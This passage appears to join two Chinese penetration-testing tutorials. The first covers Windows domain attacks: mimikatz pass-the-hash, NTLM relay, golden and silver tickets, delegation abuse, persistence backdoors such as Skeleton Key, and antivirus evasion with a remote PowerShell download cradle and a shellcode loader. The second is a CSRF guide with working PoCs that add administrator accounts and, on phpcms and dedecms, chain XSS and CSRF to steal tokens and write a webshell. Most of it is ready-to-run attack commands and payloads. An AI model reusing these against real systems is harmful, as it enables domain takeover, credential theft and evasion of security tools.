使用如下命令: privilege::debug sekurlsa::pth /user:test1 /domain:test.local /ntlm:7ECFFFF0C3548187607A14BAD0F88BB1 弹出cmd: 安装KB2871997补丁后,可以使用AES-256密钥进行hash传递: 抓取AES-256密钥: mimikatz: privilege::debug sekurlsa::ekeys privilege::debug sekurlsa::pth /user:test1 /domain:test.local /aes256:aes256key 5.3、NTLM-Relay 上述都是“主动性”的攻击行为,也就是主动去连接别人,那我们也可以尝试“被动性”攻击,当别人访问我们时,或者说是无感知访问时,我们能做什么操作? 实验环境: win7 172.16.127.184 普通域用户 win10 172.16.127.170 域管 dcserver 172.16.127.173 域控 kali 172.16.127.129 攻击机 利用工具: Responder、impacket 5.3.1 LLMNR 先来一段百科介绍,链路本地多播名称解析(LLMNR)是一个基于协议的域名系统(DNS)数据包的格式,使得双方的IPv4和IPv6的主机来执行名称解析为同一本地链路上的主机。它是包含在Windows Vista中,Windows Server 2008中,Windows 7中,Windows 8中和的Windows 10。它也被实施systemd在Linux上-resolved。LLMNR定义在RFC 4795。 在DNS 服务器不可用时,DNS 客户端计算机可以使用本地链路多播名称解析 (LLMNR—Link-Local Multicast Name Resolution)(也称为多播 DNS 或 mDNS)来解析本地网段上的名称。例如,如果路由器出现故障,从网络上的所有 DNS 服务器切断了子网,则支持 LLMNR 的子网上的客户端可以继续在对等基础上解析名称,直到网络连接还原为止。 除了在网络出现故障的情况下提供名称解析以外,LLMNR 在建立临时对等网络(例如,机场候机区域)方面也非常有用。 翻译成白话文怎么说:你正常内网中如访问真实存在的机器,如jumbo01,当有一天你不小心输成了不存在的机器jumbo02,客户端就会问内网中谁是jumbo02啊,有没有是jumbo02的人啊。 攻击手法v1.0 首先我们如果访问一台不存在的机器jumbo02,是以下这个结果 那我们如果我们在客户端询问谁是jumbo02的时候应答他的话,就是这个结果 攻击机执行 responder -I eth0 客户端访问jumbo02提示需要输入密码 输入密码后,攻击机收到net-ntlm: 收到net-ntlm以后我们就可以尝试利用hashcat进行破解等攻击。 5.3.2 WPAD 先来一段百科介绍,网络代理自动发现协议(Web Proxy Auto-Discovery Protocol,WPAD)是一种客户端使用DHCP和/或DNS发现方法来定位一个配置文件URL的方法。在检测和下载配置文件后,它可以执行配置文件以测定特定URL应使用的代理。 翻译成白话文怎么说:就是你的上网配置、怎么上网,如果你浏览器设置了上网自动检测设置(默认配置),客户端上网的时候,就会问,谁是wpad服务器啊,你是wpad服务器啊,然后拿着pac文件上网去了。 攻击手法v1.0 首先我们本身想访问存在的网站 www.chinabaiker.com ,可是不小心打错了一个字母或者多打少打了一个字母,默认会直接跳到搜到引擎上去,或者提示无法访问,比如 www.chinabaikee.com 那如果我们伪造wpad服务器的话,首先攻击机执行 responder -I eth0 -wFb 这里使用-b参数强制使用401认证 客户端访问一个不存在的域名时会跳出登录框 输入账号密码以后,我们收到明文账号密码 从responder的信息反馈能得知,实际上是利用wpad欺骗返回了一个401认证,导致欺骗我们获取了其账号密码。 攻击手法v1.1 既然我们能够让客户端下载我们的pac,就能在pac里面让客户端的流量走我们这边,这里我利用msf配置burp演示代理抓取客户端流量。 攻击机执行 use auxiliary/spoof/nbns/nbns_response set regex WPAD set spoofip attackip run use auxiliary/server/wpad set proxy 172.16.127.155 run 打开burp,以下只在非域内但是同一个网络中的机器的firefox成功 为什么会出现上面的问题呢,实际上是因为MS16-077补丁问题。 In 2016 however, Microsoft published a security bulletin MS16-077, which mitigated this attack by adding two important protections: – The location of the WPAD file is no longer requested via broadcast protocols, but only via DNS. – Authentication does not occur automatically anymore even if this is requested by the server. 利用mitm6让客户端设置我们为ipv6 dns服务器 wpad成功在chrome上欺骗 PS:以上成功还是在非域内机器。 攻击手法v2.0 上面说了多,最重要的不过还是权限。大家应该知道smb relay,但是这个漏洞很早就在MS08-068补丁中被修复了。但是这个不妨碍我们在未校验smb签名等情况下进行NTLM-Relay转发。我们执行responder,首先关闭掉smb,给接下来的ntlmrelayx使用。 responder -I eth0 ntlmrelayx.py -t 172.16.127.173 -l ./ 域管机器访问不存在的机器时,会中继到域控机器,我们成功获取shell 5.4、域信任 当存在子父域时,默认其是双向信任。可以利用sid history跨域提权。流程大致如下: 利用如下,使用mimikatz获取子域的Krbtgt Hash: lsadump::lsa /patch 再使用powerview获取父域的sid: Get-DomainComputer -Domain jumbolab.com 然后添加一个sid=519的企业管理员,利用mimikatz执行如下命令: kerberos::golden /user:Administrator /krbtgt:5a1c26831592774a17f70370b8606449 /domain:child.jumbolab.com /sid:S-1-5-21-1786649982-4053697927-1628754434 /sids:S-1-5-21-4288736272-2299089681-4131927610-519 /ptt 最终成功获取父域权限: 5.5、攻击Kerberos 在域中,最核心的就是kerberos协议了,但是也会出现各种安全问题,甚至可以以一个普通域用户提权到system权限,配置不当甚至可以获取到域控权限。 5.5.1 PTT 当我们抓取到了krbtgt hash时,能做什么?继续往下看。 5.5.1.1 金票据 上面提到了ms14-068,也介绍Kerberos协议,知道了TGT是由krbtgt加密而成。因此当拿到krbtgt账号hash时,就可以构造一个任意权限的tgt了: 使用方法: mimikatz kerberos::purge kerberos::golden /admin:administrator /domain:域 /sid:SID /krbtgt: krbtgt hash值 /ticket:administrator.kiribi kerberos::ptt administrator.kiribi kerberos::tgt dir \\dc.domain.com\c$ 5.5.1.2 银票据 上面的金票据是伪造的TGT,银票据是伪造TGS,由服务账号密码加密而成。 利用方法: mimikatz.exe "kerberos::golden /domain:域 /sid:SID /target:域控全称 /service:要访问的服务,如cifs /rc4:NTLM,计算机账号hash /user:user /ptt" dir \\server\c$ 5.5.1.3kekeo 利用kekeo进行ptt: kekeo "tgt::ask /user:test1 /domain:test.local /ntlm:7ECFFFF0C3548187607A14BAD0F88BB1" 执行后生成票据 [email protected][email protected] 接下来导入票据: kekeo "kerberos::ptt [email protected][email protected]" dir \\server\c$ 5.5.2委派 5.5.2.1 基于资源的约束委派 流程图如下: 个人简单理解为A机器设置基于资源的约束委派给B(设置msDS-AllowedToActOnBehalfOfOtherIdentity属性),则B可以通过s4u协议申请高权限票据对A进行利用。利用过程如下: 普通域用户默认可以添加10个机器账号,添加spnspnspn$并设置msds-allowedtoactonbehalfofotheridentity: get-adcomputer win7 -properties principalsallowedtodelegatetoaccount 利用s4u协议申请高权限票据: getST.py -dc-ip 172.16.127.173 jumbolab.com/spnspnspn\$:spnspnspn -spn cifs/win7.jumbolab.com -impersonate administrator 导入票据: export KRB5CCNAME=administrator.ccache 访问目标机器: smbexec.py -no-pass -k -debug win7.jumbolab.com 5.5.2.2非约束委派 流程图如下: 个人简单理解为user访问service1服务时,如果service1服务开启了非约束委派,则在user访问service1服务时,会把自身的tgt发送给service1,因此service1可以利用user的tgt去访问user可以访问的服务。利用过程如下: win7机器开启了非约束委派: 下面我们再利用Spooler打印机服务错误强制让运行了spooler服务的机器通过kerberos或ntlm的方式连接指定的目标机器: SpoolSample.exedcserver win 导出tgt: mimikatz privilege::debug sekurlsa::tickets /export 导入票据: kerberos::ptt [0;1f9fc7][email protected] win7机器即可获取所有用户hash: 发现非约束委派机器可以用如下命令: 查找域中配置非约束委派用户: Get-NetUser -Unconstrained -Domain jumbolab.com 查找域中配置非约束委派的主机: Get-NetComputer -Unconstrained -Domain jumbolab.com 5.5.2.3 约束委派 流程图如下: 利用过程如下: 存在服务用户,test,并设置约束委派: 服务账号可以为一个域用户设置spn即可: setspn.exe -U -A test/test test 申请tgt: kekeo: tgt::ask /user:test /domain:jumbolab.com /password:aA123456 利用生成的tgt申请st: kekeo: tgs::s4u /tgt:[email protected][email protected] /user:[email protected] /service:cifs/dcserver.jumbolab.com 导入st: mimikatz: kerberos::ptt [email protected]@[email protected] 发现约束委派机器可以用如下命令: 查找域中配置约束委派用户: Get-DomainUser -TrustedToAuth -Domain jumbolab.com 查找域中配置约束委派的主机: Get-DomainComputer -TrustedToAuth -Domain jumbolab.com 0x06 域权限维持 当拿下域控后,可以在域控上面做一些手脚,以保证后续的权限维持,甚至可以保证,就算域控密码改了,我们依然可以连接。 6.1、DSRM 该方法相当于重置了域控机器上的本地管理员密码。 DSRM,目录服务还原模式,是Windows服务器域控制器的安全模式启动选项。DSRM允许管理员用来修复或还原修复或重建活动目录数据库。DSRM账户实际上就是“Administrator”,也就是域控上面的本地管理员账号,非域管理员账号。当建立域控时,会让我们设置DSRM密码: 我们用如下命令在域控上同步DSRM密码: ntdsutil set DSRM password SYNC FROM DOMAIN ACCOUNT username Q Q 即把DSRM重置成了和win7user用户一样的密码: 再在域控上添加注册表: reg add " HKLM\System\CurrentControlSet\Control\Lsa" /v DSRMAdminLogonBehavior /t REG_DWORD /d 2 最后用pth连接过去: sekurlsa::pth /domain:computername /user:Administrator /ntlm: b367819c0a8ccd792cad1d034f56a1fa 6.2、GPO 当我们获取到管理员权限时,可以通过添加组策略手段,实现用户开机自启动。 域控上执行过程如下: 打开gpmc.msc ,编辑默认组策略: 然后添加启动项: 并在对应的组策略目录下添加你的文件: 再执行如下命令强制刷新组策略: gpupdate /force 最终域内其他机器重启后就会执行对应的文件/脚本: 6.3、SSP SecuritySupport Provider理解为一个dll,用来实现身份认证;SecuritySupport Provider Interface理解为SSP的API,用于执行各种与安全相关的操作,如身份验证。 在系统启动的时候,SSP会被加载到lsass.exe中,也就是说我们可以自定义一个dll在系统启动时加载到lsass.exe中。 利用mimikatz: 1、将mimilib.dll复制到域控c:\windows\system32 2、添加注册表: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\SecurityPackages\ 添加mimilib.dll 3、重启后记录登录的密码: 也可以不重启,利用RPC加载SSP。 6.4、Skeleton Key 利用mimikatz安装一个万能密码,“mimikatz”,实现代码可以参考如下: https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_misc.c privilege::debug misc::skeleton 当执行完上述命令后,就可以使用“mimikatz”作为一个万能密码,去连接域控,该方法可用于当域控密码被改掉时,我们依然可以去控制域控。 6.5、HookPasswordChangeNotify 通过往lsass.exe进程中注入dll,达到通过Hook PasswordChangeNotify拦截修改的帐户密码。该方法可用于拦截域内修改的密码。 项目地址:https://github.com/Jumbo-WJB/Misc-Windows-Hacking 0x07 免杀处理 在上述的攻击利用中,出现了各种各样的工具,但是现在的edr都对上述工具、上述手法都做了安全防护,因此如何绕过av,又是一段漫长的路。 7.1、Powershell 以常见的cs上线生成的powershell为例。当使用默认ps命令时,会被直接拦截: 我们先简单理解为拦截了这个命令,那就先简单尝试下加点特殊符号,而这个符号又不影响程序运行,比如“^”,但发现并不行: 那我们尝试把这个命令copy出来并换个名字试试呢?依然不行: 但是改成txt就成功了: jp.txt -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://1.2.3.4:80/a'))" 7.2、抓密码工具免杀 渗透日常中密码抓取必不可少,当看到域控在线,工具被杀,想抓密码怎么办? 第一种,配合上面的powershell绕过执行ps1版的mimikatz: 第二种,利用RPC加载SSP: https://blog.xpnsec.com/exploring-mimikatz-part-2/ 让lsass.exe自己dump 内存: 微软签名的procdump也可以: 第三种,对工具本身做免杀,找个看起来无害化的工具: https://raw.githubusercontent.com/3gstudent/Homework-of-C-Language/master/sekurlsa-wdigest.cpp 如果手上没有IDE编译环境或者没有源码怎么办?找个被杀的工具: 用restorator工具加个版本信息,成功免杀: 7.3、源码免杀 找个内存加载的源码,把shellcode加载执行。简单过程如下: 申请内存->写入shellcode->创建线程执行 先利用cs生成shellcode: 示例代码如下: using System; using System.Runtime.InteropServices; namespace TCPMeterpreterProcess { class Program { static void Main(string[] args) { // native function’s compiled code // generated with metasploit byte[] shellcode = new byte[835] { 0x........ }; UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length); IntPtr hThread = IntPtr.Zero; UInt32 threadId = 0; // prepare data IntPtr pinfo = IntPtr.Zero; // execute native code hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); WaitForSingleObject(hThread, 0xFFFFFFFF); } private static UInt32 MEM_COMMIT = 0x1000; private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; [DllImport("kernel32")] private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect); [DllImport("kernel32")] private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, UInt32 dwFreeType); [DllImport("kernel32")] private static extern IntPtr CreateThread( UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId ); [DllImport("kernel32")] private static extern bool CloseHandle(IntPtr handle); [DllImport("kernel32")] private static extern UInt32 WaitForSingleObject( IntPtr hHandle, UInt32 dwMilliseconds ); [DllImport("kernel32")] private static extern IntPtr GetModuleHandle( string moduleName ); [DllImport("kernel32")] private static extern UInt32 GetProcAddress( IntPtr hModule, string procName ); [DllImport("kernel32")] private static extern UInt32 LoadLibrary( string lpFileName ); [DllImport("kernel32")] private static extern UInt32 GetLastError(); } } 编译后成功绕过杀毒软件: 7.4、白名单免杀 我们可以使用windows自带的命令达到免杀的效果,比如: msbuild: Wmic: 这里收集了几个执行shellcode的常用白名单: https://github.com/Jumbo-WJB/windows_exec_ways 0x08 总结 本文介绍了内网渗透的攻击手法和利用工具,也有绕过AV安全防护的突破手段。希望借此提高大家内网渗透攻击和防御水平。当然,不可能面面俱到,比如ACL配置不当造成的提权、mimikatz等工具的源码解读,还需要大家一起慢慢品味。 部分工具地址: Rubeus: https://github.com/GhostPack/Rubeus PowerView: https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1 Seatbelt: https://github.com/GhostPack/Seatbelt Bloodhound: https://github.com/BloodHoundAD/BloodHound Ruler: https://github.com/sensepost/ruler MailSniper: https://github.com/dafthack/MailSniper ReGeorg: https://github.com/sensepost/reGeorg EarthWorm: https://github.com/rootkiter/EarthWorm PowerCat: https://github.com/besimorhino/powercat Mimikatz: https://github.com/gentilkiwi/mimikatz Tgsrepcrack: https://github.com/nidem/kerberoast/blob/master/tgsrepcrack.py Kerbrute: https://github.com/ropnop/kerbrute Responder: https://github.com/lgandx/Responder
  3. 0x01 CSRF定义   CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF。尽管听起来像跨站脚本XSS,但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性 0x02 CSRF危害 攻击者盗用了你的身份,以你的名义发送恶意请求。CSRF能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账......造成的问题包括:个人隐私泄露以及财产安全。 0x03 CSRF漏洞形成原因 csrf漏洞的成因就是网站的cookie在浏览器中不会过期,只要不关闭浏览器或者退出登录,那以后只要是访问这个网站,都会默认你已经登录的状态。而在这个期间,攻击者发送了构造好的csrf脚本或包含csrf脚本的链接,可能会执行一些用户不想做的功能(比如是添加账号等)。这个操作不是用户真正想要执行的。 0x04 CSRF与XSS的区别 XSS: 攻击者发现XSS漏洞——构造代码——发送给受害人——受害人打开——攻击者获取受害人的cookie——完成攻击 CSRF: 攻击者发现CSRF漏洞——构造代码——发送给受害人——受害人打开——受害人执行代码——完成攻击 0x05 CSRF的原理 下图简单阐述了CSRF攻击的思路:   从上图可以看出,要完成一次CSRF攻击,受害者必须依次完成两个步骤:   1.登录受信任网站A,并在本地生成Cookie。   2.在不登出A的情况下,访问危险网站B。  如果不满足以上两个条件中的一个,就不会受到CSRF的攻击,是的,确实如此,但你不能保证以下情况不会发生:   1.你不能保证你登录了一个网站后,不再打开一个tab页面并访问另外的网站。   2.你不能保证你关闭浏览器了后,你本地的Cookie立刻过期,你上次的会话已经结束。(事实上,关闭浏览器不能结束一个会话,但大多数人都会错误的认为关闭浏览器就等于退出登录/结束会话了......)   3.上图中所谓的攻击网站,可能是一个存在其他漏洞的可信任的经常被人访问的网站。 0x06 CSRF攻击示例 (1).get型的CSRF   银行网站A,它以GET请求来完成银行转账的操作,如:http://www.mybank.com/Transfer.php?toBankId=11&money=1000  那么将该URL链接进行短文件处理发给对方,只要发给受害者点击,就会触发 https://0x9.me/M5BEh (2).post型的CSRF   为了杜绝上面的问题,银行决定改用POST请求完成转账操作。   银行网站A的WEB表单如下:     <form action="Transfer.php" method="POST">     <p>ToBankId: <input type="text" name="toBankId" /></p>     <p>Money: <input type="text" name="money" /></p>     <p><input type="submit" value="Transfer" /></p>   </form>   后台处理页面Transfer.php如下:   <?php     session_start();     if (isset($_REQUEST['toBankId'] && isset($_REQUEST['money']))     {      buy_stocks($_REQUEST['toBankId'], $_REQUEST['money']);     }   ?>   通过伪造上面的表单,并保存为bk.html,将该bk.html放到http://www.backlion.org/bk.html下,只要点击该网址就会触发转账  (3)json型的csrf   经过前面2个惨痛的教训,银行决定把获取请求数据的方法也改了,改用$_POST,只获取POST请求的数据,后台处理页面Transfer.php代码如下:   <?php     session_start();     if (isset($_POST['toBankId'] && isset($_POST['money']))     {      buy_stocks($_POST['toBankId'], $_POST['money']);     }   ?>   然而同时可以更改伪造表单: <html>   <head>     <script type="text/javascript">       function steal()       {      iframe = document.frames["steal"];       iframe.document.Submit("transfer");       }     </script>   </head>   <body onload="steal()">     <iframe name="steal" display="none">       <form method="POST" name="transfer" action="http://www.myBank.com/Transfer.php">         <input type="hidden" name="toBankId" value="11">         <input type="hidden" name="money" value="1000">       </form>     </iframe>   </body> </html>  总结一下上面3个例子,CSRF主要的攻击模式基本上是以上的3种,其中以第1,2种最为严重,因为触发条件很简单,一个url连接就可以了,而第3种比较麻烦,需要使用JavaScript,所以使用的机会会比前面的少很多,但无论是哪种情况,只要触发了CSRF攻击,后果都有可能很严重。  理解上面的3种攻击模式,其实可以看出,CSRF攻击是源于WEB的隐式身份验证机制!WEB的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器,但却无法保证该请求是用户批准发送的! 0x07 CSRF实战实例 (1).post的CSRF的实战实例 首先找到一个目标站点,csrf存在的危害主要存在于可以执行操作的地方,那么我在我搭建的一个环境中的登录后页面进行测试 环境就是一个wordpress的环境,大家可以直接去官网下载 我们选择用户界面进行测试,可以看到现在只有一个用户 下面我添加用户 利用burp进行截断 利用burp的自带插件来利用csrf 会生成一个可以利用csrf.html 修改标注内的值,来保证添加的用户不会重复造成无法添加 在浏览器中尝试 执行按键,发现除了本来存在的第一个用户和我们通过正常手段加入的用户双增加了一个新的test1用户,这个用户就是我们利用csrf点击图片中的submit来执行的操作,因为是我们的测试没有对页面进行修改和直接触发,如果是攻击者利用JS来让用户进行直接的触发,只要打开了相应的页面就会执行这一行为。 (2).CSRF+xss的组合利用 利用html很不容易让人利用,漏洞触发复杂,那我们就想办法让这个触发方式变的简单起来。 利用xss漏洞来触发csrf漏洞,完成用户添加的操作。 我们首先要先了解发送的数据包内容 打开上面讲到的xss平台,创建一个csrf的项目,我们来编写一下我们的代码吧 <span data-wiz-span="data-wiz-span" style="font-style: normal; font-size: 0.875rem; font-family: 微软雅黑; color: rgb(51, 51, 51); background-color: rgb(255, 255, 255);">var xmlhttp; if(window.XMLHttpRequest){ xmlhttp=new XMLHttpRequest(); }else{ xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.open("POST","http://www.backlion.org/wordpress/wp-admin/user-new.php",true); xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xmlhttp.send("action=createuser&_wponce............."); //这里填写post数据,这里需要修改用户名和密码</span> 把这段代码粘到项目的代码配置中去 然后把我们的可利用代码通过留言的存储型XSS漏洞存入到我们的目标站点中去 留言成功后的效果如下 当管理员查看留言时就执行了我们的危险代码并发送了添加用户的请求 在查看用户列表成功的加入了test2用户 到这里,csrf的攻击实例可以说讲的差不多了,以后就要大家自己去挖掘了。 (3).利用ajax结合xss进行CSRF攻击 就是把CSRF的AJAX请求放到XSS里,以达到攻击的效果 在测试用的这套CMS的留言板处就存在存储型XSS漏洞 在这里我们可以使用CSRFTester生成一个ajax 我们可以看到ajax中核心部分 同时也可以自己编写一个简单的ajax <span data-wiz-span="data-wiz-span" style="font-style: normal; font-size: 0.875rem; font-family: 微软雅黑; color: rgb(51, 51, 51); background-color: rgb(255, 255, 255);">var xmlhttp; if(window.XMLHttpRequest){ xmlhttp=new XMLHttpRequest(); }else{ xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.open("POST","http://192.168.109:99/admin/admin_manage.asp?act=add",true); xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xmlhttp.send("admin=789&password=789&password3=789&button=提交数据");</span> 在xss平台上配置项目 然后插入测试网站的留言板里 管理员查看留言信息就能添加一个管理员账号了 (4).phpcmsV9从反射型XSS到CSRF添加管理员账户 PHPCMS V9是一款PHP开源的内容管理系统,采用PHP5+MYSQL做为技术基础进行开发。当前有很多的行业门户、地方门户、政府机构等都在使用该CMS或者是进行二次开发。 pc_hash这个值是后台用来进行csrf防御的token。如果在前台能能够挖掘出一个XSS漏洞,那么就能够很容易获取到pc_hash(csrf token),那么就能触发CSRF漏洞。 寻找反射型XSS 在\phpcms\modules\admin\plugin.php文件public_appcenter_ajx_detail函数中(位于411行)。 /** * 异步方式调用详情 * Enter description here ... */ public function public_appcenter_ajx_detail() { $id = intval($_GET['id']); $data = file_get_contents('http://open.phpcms.cn/index.php?m=open&c=api&a=get_detail_byappid&id='.$id); //$data = json_decode($data, true); echo $_GET['jsoncallback'].'(',$data,')'; exit; } $_GET['jsoncallback']未经过滤直接输出到页面,这是一个反射型XSS漏洞。 /index.php?m=admin&c=plugin&a=public_appcenter_ajx_detail&jsoncallback=<script src=http://www.xsser.com/xss.js></script> 利用反射型XSS获取pc_hash值 有了pc_hash以及xss漏洞,只要用户点击了攻击者精心构造的按钮,攻击者就可以发动攻击了。 构建添加管理员权限用户需要首先获取admin_manage_code。 利用xss platform发动CSRF攻击 var request = false; if (window.XMLHttpRequest) { request = new XMLHttpRequest(); if (request.overrideMimeType) { request.overrideMimeType('text/xml') } } else if (window.ActiveXObject) { var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP']; for (var i = 0; i < versions.length; i++) { try { request = new ActiveXObject(versions[i]) } catch (e) {} } } xmlhttp = request; xmlhttp.open("GET", "http://www.phpcms.com/index.php?m=admin", false); xmlhttp.send(null); var pc_hash = xmlhttp.responseText.match(/pc_hash = '(\S*)'/)[1];//获取pc_hash xmlhttp = request; xmlhttp.open("GET", "http://wwww.phpcms.com/index.php?m=admin&c=admin_manage&a=add&menuid=54&pc_hash="+pc_hash, false); xmlhttp.send(null); var admin_manage_code = xmlhttp.responseText.match(/value="(\S*)" id="admin_manage_code"/)[1];//获取admin_manage_code var parm = "info%5Busername%5D=test100&info%5Bpassword%5D=88888888&info%5Bpwdconfirm%5D=a123123&info%5Bemail%5D=1%402ssq.com&info%5Brealname%5D=test&info%5Broleid%5D=1&info%5Badmin_manage_code%5D=01c9kekPNINAsqNA_eZY4M1SceLV8Oc70B3nQj6PlXEGMqV-XOBPs0tSqaWcjJ3qZV_2Y6lc9Ts&dosubmit=%CC%E1%BD%BB&pc_hash="+ pc_hash +"&info%5Badmin_manage_code%5D="+admin_manage_code;//添加管理员 xmlhttp = request; xmlhttp.open("POST", "http://wwww.phpcms.com/index.php?m=admin&c=admin_manage&a=add", true); xmlhttp.setRequestHeader("Cache-Control","no-cache"); xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded") xmlhttp.send(parm); 通过xss首先获取后台csrf安全token(pc_hash),然后再获取admin_manage_code,接着构造添加管理员POST表单请求,管理员添加成功。 http://www.phpcms.com/index.php?m=admin&c=plugin&a=public_appcenter_ajx_detail&jsoncallback=%3Cscript%20src= http://localhost:444/xsser/ppUlqs?1512316566%3E%3C/script%3E (5).CSRF漏洞写入shell实例 实验环境 :win10,wamp 测试的版本:受影响的版本<=官方最新版本(dedecms V57UTF8SP2) 1.首先我们构造一个向数据库中插入SHELL语句的恶意页面 (这里我多次清除cookie,多次关闭浏览器进行测试发现,该页面的效果不受其他因素影响均可正常执行),这段代码的作用就是像数据库中插入我们的shell code。 页面的代码如下: <span data-wiz-span="data-wiz-span"><html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <form action="http://127.0.0.1/dedecms/dede/sys_sql_query.php" method="POST"> <input type="hidden" name="dopost" value="query" /> <input type="hidden" name="querytype" value="2" /> <input type="hidden" name="sqlquery" value="INSERT&#32;INTO&#32;dede&#95;flink&#40;id&#44;sortrank&#44;url&#44;webname&#44;msg&#44;email&#44;logo&#44;dtime&#44;typeid&#44;ischeck&#41;VALUES&#40;&apos;1&apos;&#44;&apos;1&apos;&#44;&apos;www&#46;baidu&#46;com&apos;&#44;&apos;1&apos;&#44;&apos;&lt;&#63;php&#32;phpinfo&#40;&#41;&#59;&#63;&gt;&apos;&#44;&apos;1&apos;&#44;&apos;1&apos;&#44;&apos;1&apos;&#44;&apos;1&apos;&#44;&apos;1&apos;&#41;&#59;" /> <input type="hidden" name="imageField&#46;x" value="42" /> <input type="hidden" name="imageField&#46;y" value="17" /> <input type="submit" value="Submit request" /> </form> </body> </html></span> 2.此时我将该页面放置在我自己的服务器上 这里就可以随便放置一个地方,为了更加形象,你可以在页面上做一些操作,比如加上JS代码使得管理员访问页面的时候不会跳转,这样更神不知鬼不觉了。 3.然后我去受害网站上提交一个友链申请 将我自己网站上的恶意页面链接填入。这个链接直接对应你构造好的恶意页面。 4.然后提交,等待管理员审核 管理员审核友链时定会查看友链所链接的内容。(管理员既然可以看到该链接证明此时一定处于登陆状态) 5.只要是管理员查看了我们申请友链的链接那么就触发了恶意代码的执行 此时我们可以看到数据库中被插入了恶意代码。这里的代码可以自定义,根据你想做的操作自定义就可以了。这里我就是做实验,就是用了<?php phpinfo() ?> 6.此时无论管理员通过或者是不通过,我们的代码已经插入 此时我们构造生成shell的恶意页面,页面代码如下,构造完成之后同样放在我们自己的服务器上。(这里构造时,我们需要知道网站的路径,这里知道相对路径或者时绝对路径都是可以的。路径的获取方式:一个网站的搭建大多数采用 phpstudy wamp 或者原生态的在PHP下的www目录,这里很好猜测。或者直接请求一个网站上不存在的资源一般会爆出相对路径,或者去访问一篇文章分析路径,再或者用AWVS直接拿到路径,反正这里获取路径的方式特别多) 下面这段代码的作用是把我们刚刚插入的shell code生成一个php页面。 <span data-wiz-span="data-wiz-span"><html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> < form action="http://127.0.0.1/dedecms/dede/sys_sql_query.php" method="POST"> <input type="hidden" name="dopost" value="query" /> <input type="hidden" name="querytype" value="2" /> <input type="hidden" name="sqlquery" value="SELECT&#32;msg&#32;FROM&#32;dede&#95;flink&#32;WHERE&#32;url&#61;&quot;www&#46;baidu&#46;com&quot;&#32;INTO&#32;OUTFILE&#32;&quot;&#46;&#46;&#47;&#46;&#46;&#47;&#46;&#46;&#47;&#46;&#46;&#47;www&#47;dedecms&#47;21111&#46;php&quot;" /> <input type="hidden" name="imageField&#46;x" value="38" /> <input type="hidden" name="imageField&#46;y" value="15" /> <input type="submit" value="Submit request" /> </form> </body></html></span> 7.此时我们如上步骤3所示,提交一个该页面的友链申请 当管理员查看该页面时触发代码的执行,在服务器端生成一个我们自定义名称的shell。然后我们去访问我们的SHELL。可以看到执行成功。 这就是在一次测试环境中找到的一个逻辑漏洞,有时候我们会经常发现一些微不足道的小漏洞之类的,单个的看起来是没有什么作用但是多个微不足道的小漏洞结合起来往往会收到超出预期的效果。 0x08 CSRF漏洞验证方法 1.去掉Referer,去执行这个请求,发现这个请求仍然可以进行正常的搜索,那么就说明这个请求没有判断请求来源也就是Referer,在请求头部也没有发现存在token的迹象,那么笔者可以判断此处存在CSRF 2.post请求中没有token参数,请求也没有验证referer验证: 网页操作某功能,抓包后,如果发现没有token等参数,然后就将referer信息设置为空,再次发包请求,如果请求成功了,就说明这里有CSRF漏洞。如果有token等参数,可以尝试将token去掉,然后再将referer也去掉,进行验证。这种CSRF漏洞的利用,是需要在自己服务器构造一个form表单的,然后将服务器form表单的URL作为CSRF攻击进行利用的,或者用js代码生成form表单,或者用ajax实现 3.post请求中没有token参数,但是验证了referer信息验证: 将post请求改写为get请求,然后通过第一种情况下的那个方法利用。这种的检测方法,就是先执行了第二种的验证后,发现有对CSRF进行防御。然后将post请求改写为GET请求,发现仍然可以成功执行。漏洞成因是因为服务器端接收请求参数的时候,没有严格的用$_POST 而是用的类似于 $_REQUEST这种post,get请求的参数都可以接收的写法。 验证流程: 1.首先就是对目标敏感部位进行抓包分析,比如修改信息、转账、添加信息等等。通常一个数据包HTTP请求头里边都会有一个Referer,这个需要特别去验证。比如放到Burpsuit Repeater里边去测试:去掉referer,看结果是否有变化。如果没有变化意味着这里的Referer服务器端并未验证,那就继续看下一步。 2.紧接着就是查看数据包是否存在类似CSRF token的字段、常见的有参数有csrf、token、sid……(一般这些字段的值都是随机字符串),如果没有的话就排除CSRF Token的验证了。 3.很多时候走完了上边两个流程其实就已经可以断定这里是存在CSRF的,不过还有一个隐蔽的地方。在某些操作对数据包的提交采用Ajax的情况,存在一种情况,就是数据包HTTP请求头会自定义一个字段,这个时候就像存在referer的情况一样,没办法csrf了。 